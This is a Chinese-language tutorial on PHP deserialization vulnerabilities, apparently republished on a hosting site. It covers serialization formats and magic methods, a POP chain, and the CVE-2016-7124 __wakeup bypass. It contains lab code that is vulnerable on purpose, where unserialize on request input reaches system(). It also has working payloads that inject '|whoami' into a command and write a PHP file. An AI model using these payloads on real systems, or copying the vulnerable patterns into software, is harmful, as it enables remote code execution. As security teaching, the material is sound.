溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

php反序列化漏洞

發(fā)布時(shí)間:2020-05-14 04:47:16 來源:網(wǎng)絡(luò) 閱讀:748 作者:daikersec 欄目:安全技術(shù)

0x00 序列化

所有php里面的值都可以使用函數(shù)serialize()來返回一個(gè)包含字節(jié)流的字符串來表示。unserialize()函數(shù)能夠重新把字符串變回php原來的值。 序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類的名字。 所有php里面的值都可以使用函數(shù)
serialize()
來返回一個(gè)包含字節(jié)流的字符串來表示。
unserialize()
函數(shù)能夠重新把字符串變回php原來的值。 序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類的名字。
<!-- more -->
序列化的例子

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 15:39:43
 * @version $Id$
 */
error_reporting(E_ALL);
$var_int = 1;
$var_str = "123";
$var_float = 1.2;
$var_bool =  true;
$var_arr = array('1' => 1,1.2,false );
class ClassName   {
    var $var_name = 1;
    function  myfunction(){
        return "1";
    }
}
   $arrayName = array($var_int,$var_str,$var_float,$var_bool,$var_arr,new ClassName ());

   foreach ($arrayName as $key => $value) {
    echo serialize($value)."<br/>";
   }

結(jié)果是

i:1;
s:3:"123";
d:1.2;
b:1;
a:3:{i:1;i:1;i:2;d:1.2;i:3;b:0;}
O:9:"ClassName":1:{s:8:"var_name";i:1;}

從例子中我們可以看到,變量,數(shù)組,對(duì)象可以被序列化。變量的值會(huì)被保存下來。以:隔開,類名會(huì)被保存下來,類變量,類變量名和類變量值會(huì)被保存下來,類方法不會(huì)被保存起來。

0x01 反序列化

反序列化就是將序列化后的字符串轉(zhuǎn)化回?cái)?shù)組和對(duì)象
看例子

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 16:02:17
 * @version $Id$
 */

$un_arr_str = 'a:3:{i:1;i:1;i:2;d:1.2;i:3;b:0;}';//$var_arr = array('1' => 1,1.2,false );
$un_class_str = 'O:9:"ClassName":1:{s:8:"var_name";i:1;}';
var_dump(unserialize($un_arr_str));
$O = unserialize($un_class_str);
// var_dump($O);
var_dump($O->var_name);

這里的結(jié)果是

array(3) { [1]=> int(1) [2]=> float(1.2) [3]=> bool(false) } 
NULL

比較奇怪的是為什么第二個(gè)會(huì)是NULL。因?yàn)閷?duì)象序列化之后,只是保存它的關(guān)鍵數(shù)據(jù),對(duì)于這個(gè)類的具體內(nèi)容一無所知。所以反序列回一個(gè)對(duì)象的時(shí)候,需要反序列的上下文中存在模板(這里就是類的定義)。

0x02 魔術(shù)函數(shù)

PHP 將所有以 __(兩個(gè)下劃線)開頭的類方法保留為魔術(shù)方法。
下面舉一個(gè)例子。

class ClassName  {

    function __construct(){
        echo "Hello,I am __construct";
    }
}

new ClassName();

這里的輸出結(jié)果是

Hello,I am __construct

其實(shí)這里的一個(gè)對(duì)象實(shí)例化的過程中默認(rèn)會(huì)調(diào)用的__construct()。
php常用的魔術(shù)函數(shù)有

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()

這里們并非每個(gè)都會(huì)在這里面用到,下面用一個(gè)例子來說下看幾個(gè)常用到的魔術(shù)函數(shù)。

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 16:24:32
 * @version $Id$
 */

class ClassName  {
    private $name ="123";
    function __construct(){
        echo "Hello,I am __construct"."<br/>";
    }
    function __destruct(){
        echo "Hello,I am __destruct"."<br/>";
    }
    function __wakeup(){
        echo "Hello,I am __wakeup"."<br/>";
    }
    function __sleep(){
        echo "Hello,I am __sleep"."<br/>";
        return array($this->name);
    }
    function __get($name){
        echo "Hello,I am __get"."<br/>";
        return $this->name;
    }
    function __toString(){
        echo "Hello,I am __toString"."<br/>";
        return "Hello";
    }
}

$O = new ClassName();
$s= serialize($O);
echo $s."<br/>";
$O = unserialize($s);
$O."<br/>";
$O->nothing;

從例子我們可以看出,當(dāng)初序列化一個(gè)對(duì)象是默認(rèn)會(huì)調(diào)用__sleep,反序列化是會(huì)調(diào)用__wakeup,而__construct會(huì)在實(shí)例化一個(gè)對(duì)象是被調(diào)用,__desturct會(huì)在對(duì)象不再使用或者程序退出時(shí)自動(dòng)調(diào)用, __toString會(huì)在對(duì)象被當(dāng)做字符串時(shí)使用(特別注意字符串連接符.)。__get會(huì)在讀取不可訪問的屬性的值的時(shí)候調(diào)用

0x03 反序列化漏洞

先舉一個(gè)反序列化漏洞例子

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 16:45:11
 * @version $Id$
 */

class ClassName {
    var $ip;
    function __wakeup(){
        system('ping -c 4'.$this->ip);
    }
}
$O = unserialize($_GET['daiker']);

我們分析這串代碼,可以得出一下結(jié)論

  1. 反序列化的的字符串我們可控
  2. 反序列化默認(rèn)會(huì)調(diào)用__wakeup()
  3. 變量ip是會(huì)保存在反序列化的字符串里面的,我們可控
    所以我們下面構(gòu)造payload。
<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 16:45:11
 * @version $Id$
 */

class ClassName {
    var $ip = "|whoami";
}

echo urlencode(serialize(new ClassName()));

然后
<br/>http://127.0.0.1/php-obj/example4.php?daiker=O%3A9%3A%22ClassName%22%3A1%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22%7Cwhoami%22%3B%7D<br/>
就可以執(zhí)行whoami,所以這里就導(dǎo)致RCE
所以總結(jié)來講,PHP對(duì)象注入(又叫反序列化漏洞),需要幾點(diǎn)條件。

  1. 反序列化字符串可控
  2. 有魔術(shù)方法會(huì)調(diào)用對(duì)象屬性

對(duì)于反序列化的漏洞利用的效果取決于魔術(shù)方法里面對(duì)成員屬性的調(diào)用方式,如上面的system()就會(huì)導(dǎo)致RCE,也可能是注入,任意文件上傳等問題。

0x04 類變量的注意點(diǎn)

看下面一個(gè)例子

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 19:08:38
 * @version $Id$
 */
class ClassName{

    private $a = 1;
    protected  $b =2;
    public  $c =3;//
}
echo serialize(new ClassName())."<br/>";
echo urlencode(serialize(new ClassName()));

看輸出結(jié)果

O:9:"ClassName":3:{s:12:"ClassNamea";i:1;s:4:"*b";i:2;s:1:"c";i:3;}
O%3A9%3A%22ClassName%22%3A3%3A%7Bs%3A12%3A%22%00ClassName%00a%22%3Bi%3A1%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A2%3Bs%3A1%3A%22c%22%3Bi%3A3%3B%7D%

一個(gè)個(gè)比較,我們會(huì)發(fā)現(xiàn)不可打印字符打印不出來。如果我們把可打印字符用作payload,會(huì)利用失敗.
如果是private 的變量,序列化的時(shí)候就會(huì)變成\x00類名\x變量名,這里就是\xClassName\x00a,urlencode之后變成%00ClassName%00a。
如果是protected的變量,序列化之后就會(huì)變成\x00\x2A\x00變量名。

0x05 POP Chain

前面說到,要找反序列化漏洞,要有兩個(gè)點(diǎn)。第一個(gè)是反序列化的參數(shù)可控,第二個(gè)是有魔術(shù)方法調(diào)用對(duì)象屬性。但是我們往往會(huì)遇到一個(gè)問題,就是我們反序列化的參數(shù)可控,但是,沒有合適的魔術(shù)方法,或者是魔術(shù)方法對(duì)對(duì)象屬性的調(diào)用方法無法利用。這時(shí)候就有人提出了一個(gè)新的思路叫做POP Chain(跟二進(jìn)制里面的ROP Chain 思路很像)。POP chain利用的條件是找到的魔術(shù)方法不可以直接利用,但它有調(diào)用其它方法或者使用其它的變量時(shí),可以在其它的類中尋找同名的方法或是變量,直到可以利用的點(diǎn)。
下面看一個(gè)簡單的例子。

<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 19:41:17
 * @version $Id$
 */
class One{
    function myfunction(){
        echo "Hello,world";
    }
}
class Another{
    var $cmd ;
    function myfunction(){
        $this->attack();
    }
    function attack(){
        system($this->cmd);
    }
}
class ClassName  {
    var $class ;
    function __construct(){
        $this->class=new One();

    }
    function __wakeup(){
        $this->class->myfunction();
    }
}
$O = unserialize($_GET['daiker']);

我們分析下代碼,可以發(fā)現(xiàn)一下幾點(diǎn)

  1. 反序列化參數(shù)可控
  2. 存在魔術(shù)方法__construct(),這里不可以直接利用
  3. __construct()調(diào)用了myfunction(),myfunction()不可以利用
  4. 其他類存在同名函數(shù)myfunction(),且另外一個(gè)類里面的Myfunction不可以單獨(dú)被利用,但是存在可被利用的函數(shù)system()
    構(gòu)造payload
<?php
/**
 * 
 * @authors daiker (daikersec@gmail.com)
 * @date    2017-12-22 20:26:02
 * @version $Id$
 */
class Another{
    var $cmd;
    function __construct(){
        $this->cmd = "whoami";
    }//跟直接寫 var $cmd = "whoami',不寫__construct一樣,這里演示還有這種寫法
}
class ClassName  {
    var $class ;
    function __construct(){
        $this->class=new Another();
    }
}
echo serialize(new ClassName());

然后提交
<br/>http://127.0.0.1/php-obj/pop.php?daiker=O:9:%22ClassName%22:1:{s:5:%22class%22;O:7:%22Another%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}}<br/>

0x06 CVE-2016-7124

我們看一個(gè)代碼

<?php
 class object{ 
        public $var = "hello,world";

        function get_flag(){  
            return 'aaaa';  
        }
        function __wakeup(){
            $this->var = "hello,wold";
        }
        function __destruct(){
            $fp=fopen("F:\\phpStudy\\WWW\\unse\\hello.php","w");
            fputs($fp,$this->var);
            fclose($fp);
        }
 }

$content = $_POST['content'];
$object = unserialize($content);
?>

對(duì)比上面的代碼,可以發(fā)現(xiàn)多了

  function __wakeup(){
            $this->var = "hello,wold";
        }

這個(gè)魔術(shù)函數(shù)的作用就是在反序列化的時(shí)候會(huì)執(zhí)行函數(shù)里面的東西,在這題,,我們就算更改了var這個(gè)變量的值,wakeup還是會(huì)把他改回來。這時(shí)候就要用到一個(gè)CVE。
谷歌發(fā)現(xiàn)了CVE-2016-7124。簡單來說就是當(dāng)序列化字符串中,如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過wakeup的執(zhí)行。參考https://bugs.php.net/bug.php?id=72663,某一種情況下,出錯(cuò)的對(duì)象不會(huì)被毀掉,會(huì)繞過wakeup函數(shù)、引用其他的魔術(shù)方法。
我們只要保證成員屬性數(shù)目大于實(shí)際數(shù)目時(shí)可繞過wakeup方法,原來的序列化字符串是O:6:"object":1:{s:3:"var";s:18:"&lt;?php phpinfo() ?&gt;";}<br/>把object后面的1更改為大于1的數(shù)字就可以了。。

php反序列化漏洞

php反序列化漏洞

成功繞過

0x07 經(jīng)典案例

1.typecho 反序列化漏洞
2.SugarCRM v6.5.23反序列化漏洞

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI